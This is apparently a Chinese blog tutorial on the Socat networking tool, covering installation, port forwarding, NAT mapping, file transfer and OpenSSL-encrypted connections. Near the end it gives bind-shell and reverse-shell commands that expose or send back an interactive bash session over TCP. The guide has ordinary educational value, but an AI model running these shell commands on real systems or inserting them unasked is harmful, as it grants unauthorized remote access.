Socat 入门教程

Socat 是 Linux 下的一个多功能的网络工具,名字来由是 「Socket CAT」。其功能与有瑞士军刀之称的 Netcat 类似,可以看做是 Netcat 的加强版。

Socat 的主要特点就是在两个数据流之间建立通道,且支持众多协议和链接方式。如 IP、TCP、 UDP、IPv6、PIPE、EXEC、System、Open、Proxy、Openssl、Socket等。

Socat 的官方网站:http://www.dest-unreach.org/socat/

Socat 安装

  • 通过源码方式安装
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$ wget http://www.dest-unreach.org/socat/download/socat-1.7.3.2.tar.gz
$ tar zxf socat-1.7.3.2.tar.gz
$ cd socat-1.7.3.2
$ ./configure
$ make
$ make install
  • 通过包安装 (推荐)

Centos

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$ yum install -y socat

Debian/Ubuntu

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$ apt-get install -y socat

macOS

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$ brew install socat

Socat 基本语法

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socat [options] <address> <address>

其中这 2 个 address 就是关键了,address 类似于一个文件描述符,Socat 所做的工作就是在 2 个 address 指定的描述符间建立一个 pipe 用于发送和接收数据。几个常用的 address 描述方式如下:

  • -,STDIN,STDOUT 表示标准输入输出,可以就用一个横杠代替。
  • /var/log/syslog 打开一个文件作为数据流,可以是任意路径。
  • TCP:: 建立一个 TCP 连接作为数据流,TCP 也可以替换为 UDP 。
  • TCP-LISTEN: 建立 一个 TCP 监听端口,TCP 也可以替换为 UDP。
  • EXEC: 执行一个程序作为数据流。

以上规则中前面的 TCP 等都可以小写,在这些描述后可以附加一些选项,用逗号隔开。如 fork,reuseaddr,stdin,stdout,ctty 等。

Socat 使用实例

文件操作

  • 通过 Socat 读取文件
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# 从绝对路径读取
$ socat - /var/www/html/flag.php

# 从相对路径读取
$ socat - ./flag.php

注:这里的路径一般是绝对路径,如果要使用相对路径记得要加上 ./ 。

  • 写入文件
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$ echo "This is Test" | socat - /tmp/hello.html

网络管理

  • 连接远程端口
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$ socat - TCP:192.168.1.252:3306
  • 监听一个新端口
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$ socat TCP-LISTEN:7000 -

端口转发

在实际生产中我们经常会遇到到一个场景就是,用一台机器作为转发服务器,连接 AB 两个网段,将转发服务器的某个端口上的流量转发到 B 网段的某台机器的某个端口,这样 A 网段的服务器就可以通过访问转发服务器上的端口访问到 B 网段的服务器端口。

这样的场景一般在和客户建立专线的连接时候经常用到,一般也可以采用 iptables 做转发,但是比较复杂。Socat 可以很轻松的完成这个功能,但是 Socat 不支持端口段转发,只适用于单端口或者少量端口。

  • 转发 TCP

监听 192.168.1.252 网卡的 15672 端口,并将请求转发至 172.17.0.15 的 15672 端口。

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$ socat  -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672

参数说明:

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1. -d -d  前面两个连续的 -d -d 代表调试信息的输出级别。
2. -lf /var/log/socat.log 指定输出信息的文件保存位置。
3. TCP4-LISTEN:15672 在本地建立一个 TCP IPv4 协议的监听端口,也就是转发端口。这里是 15672,请根据实际情况改成你自己需要转发的端口。
4. bind 指定监听绑定的 IP 地址,不绑定的话将监听服务器上可用的全部 IP。
5. reuseaddr 绑定一个本地端口。
6. fork TCP4:172.17.0.15:15672 指的是要转发到的服务器 IP 和端口,这里是 172.17.0.15 的 15672 端口。
  • 转发 UDP

转发 UDP 和 TCP 类似,只要把 TCP4 改成 UDP4 就行了。

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$ socat -d -d -lf /var/log/socat.log UDP4-LISTEN:123,bind=192.168.1.252,reuseaddr,fork UDP4:172.17.0.15:123
  • NAT 映射

在一个 NAT 网络环境中,也是可以通过 Socat 将内部机器端口映射到公网上的。

在外部公网机器上执行

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$ socat tcp-listen:1234 tcp-listen:3389

在内部私网机器上执行

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$ socat tcp:outerhost:1234 tcp:192.168.1.34:3389

这样,你外部机器上的 3389 就映射在内网 192.168.1.34 的 3389 端口上了。不过这样场景下更推荐内网穿透神器 FRP,如果你不会使用,可参考「推荐一款很好用的内网穿透工具–FRP」一文。

文件传递

  • 文件传送

将文件 demo.tar.gz 使用 2000 端口从 192.168.1.252 传到 192.168.1.253,文件传输完毕后会自动退出。

在 192.168.1.252 上执行

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$ socat -u open:demo.tar.gz tcp-listen:2000,reuseaddr

在 192.168.1.253 上执行

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$ socat -u tcp:192.168.1.252:2000 open:demo.tar.gz,create

-u 表示数据传输模式为单向,从左面参数到右面参数。
-U 表示数据传输模式为单向,从右面参数到左面参数。

  • 读写分流功能

Socat 具有一个独特的读写分流功能,比如:可以实现一个假的 Web Server,客户端连过来之后就把 read.html 里面的内容传过去,同时把客户端的数据保存到 write.txt 里面。

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$ socat open:read.html\!\!open:write.txt,create,append tcp-listen:8000,reuseaddr,fork

!! 符号用于合并读写流,前面的用于读,后面的用于写。由于 ! 在 Shell 中是特殊字符,所以这里在命令行中使用 \ 对其进行了转义。

其它功能

  • 监听一个 TCP 端口
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$ socat tcp-listen:12345 -
  • 向 TCP 端口发送数据
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$ echo "test" | socat - tcp-connect:127.0.0.1:12345
  • 监听一个 UDP 端口
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$ socat udp-listen:23456 -
  • 向一个 UDP 端口发送数据
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$ echo "test" | socat - udp-connect:127.0.0.1:23456
  • 监听一个 Unix Socket
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$ socat unix-listen:/tmp/unix.socket -
  • 向本地 Unix Socket 发送数据
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$ echo "test" | socat - unix-connect:/tmp/unix.sock
  • 监听本地 Unix Datagram Socket
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$ socat unix-recvfrom:/tmp/unix.dg.sock -
  • 向本地 Unix Datagram Socket 发送数据
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$ echo "test" | socat - unix-sendto:/tmp/unix.dg.sock
  • 通过 Openssl 来加密传输过程

假设有一个服务器主机,地址为 server.domain.org。 并且服务端程序使用 4433 端口。为了尽可能的简单,我们使用一个非常简单的服务功能,即服务端仅回显数据(echo),客户端只进行标准输入(stdio)。要进行 Openssl 加密数据传输,首先需要生成 Openssl 证书。

  1. 生成服务端的证书
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# 为服务端的证书取一个基本的名字。
$ FILENAME=server
# 生成公钥私钥对。
$ openssl genrsa -out $FILENAME.key 1024
# 生成一个自签名的证书,会提示你输入国家代号、姓名等,或者按下回车键跳过输入提示。
$ openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
# 用刚生成的密钥文件和证书文件来生成PEM文件。
$ cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

服务端证书生成完成后,复制信任证书 server.crt 到 SSL 客户端所在的主机上。

  1. 生成客户端证书
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# 为客户端证书取一个不同的文件名
$ FILENAME=client

重复上述服务端生成证书的流程。然后复制 client.pem 到 SSL 客户端主机,复制 client.crt 到服务端主机。至此完成了证书交换,服务端有 server.pem、client.crt 两个文件,客户端有 client.pem 、server.crt 两个文件。

其次我们需要建立 Openssl 服务端,在服务端我们不再用 tcp-listen (tcp-l) ,而用 openssl-listen (ssl-l) 。cert 参数告诉 Socat 包含证书和私钥的文件,cafile 参数指向客户端的证书文件。如果客户端能提供相关联的私钥,我们则认为该连接是可靠的。

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$ socat openssl-listen:4433,reuseaddr,cert=server.pem,cafile=client.crt echo

运行这个命令后,Socat 会在 4433 端口监听,并要求客户端进行身份验证。

最后在客户端建立一个加密的链接,用 openssl-connect 或者 ssl 替换你的 tcp-connect 或 tcp 地址关键字,然后添加 cert 和 cafile 选项。

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$ socat stdio openssl-connect:server.domain.org:4433,cert=client.pem,cafile=server.crt
test
test

这个命令用来建立一个到服务程序的安全的连接。如果服务端和客户端成功建立连接后,会回显在客户端输入的内容。

  • 建立一个正向 Shell
  1. 服务端
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# 在服务端 7005 端口建立一个 Shell。
$ socat TCP-LISTEN:7005,fork,reuseaddr EXEC:/bin/bash,pty,stderr
或者
$ socat TCP-LISTEN:7005,fork,reuseaddr system:bash,pty,stderr
  1. 客户端
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# 连接到服务器的 7005 端口,即可获得一个 Shell。readline 是 GNU 的命令行编辑器,具有历史功能。
$ socat readline tcp:127.0.0.1:7005
  • 反弹一个交互式的 Shell

当有主机连接服务端的 7005 端口时,将会发送客户端的 Shell 给服务端。

  1. 服务端
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$ socat -,raw,echo=0 tcp-listen:7005
  1. 客户端
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$ socat tcp-connect:192.168.1.252:7005 exec:'bash -li',pty,stderr,setsid,sigint,sane
  • fork 服务

将一个使用标准输入输出的单进程程序变为一个使用 fork 方法的多进程服务,非常方便。

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$ socat TCP-LISTEN:1234,reuseaddr,fork EXEC:./helloworld
  • 不同设备的通信

将 U 盘进行网络共享

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$ socat -d -d /dev/ttyUSB1,raw,nonblock,ignoreeof,cr,echo=0 TCP4-LISTEN:5555,reuseaddr
  • 将终端转发到串口
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$ socat READLINE,/dev/ttyS0,raw,echo=0,crnl
  • 让 Socat 后台运行

默认情况下 Socat 只在前台运行,如果要让 Socat 一直在后台运行,可以使用 nohup 命令来保证其在后台一直运行。

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$ nohup socat  -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672 &

除了 nohup 外,Linux 下让进程在后台运行的方法还很多,比如:screen、tmux 等。

在 Linux 中一切都是文件,无论是 Socket 还是其他设备。所以从理论上来说,一切能够在文件层级访问的内容都可以成为 Socat 的数据流的来源。2 个 address 可以任意发挥,能够做到的事情还有很多。这样比起来,Socket 的确比 Netcat 更加强大。

参考文档

https://www.google.com
http://t.cn/R3X3HV3
http://t.cn/R3X3u1o
http://t.cn/R3XB1oh
http://t.cn/R3aIcrh
http://t.cn/R39vQ0v
http://t.cn/R395hiP
http://t.cn/R399TKv

Mike wechat
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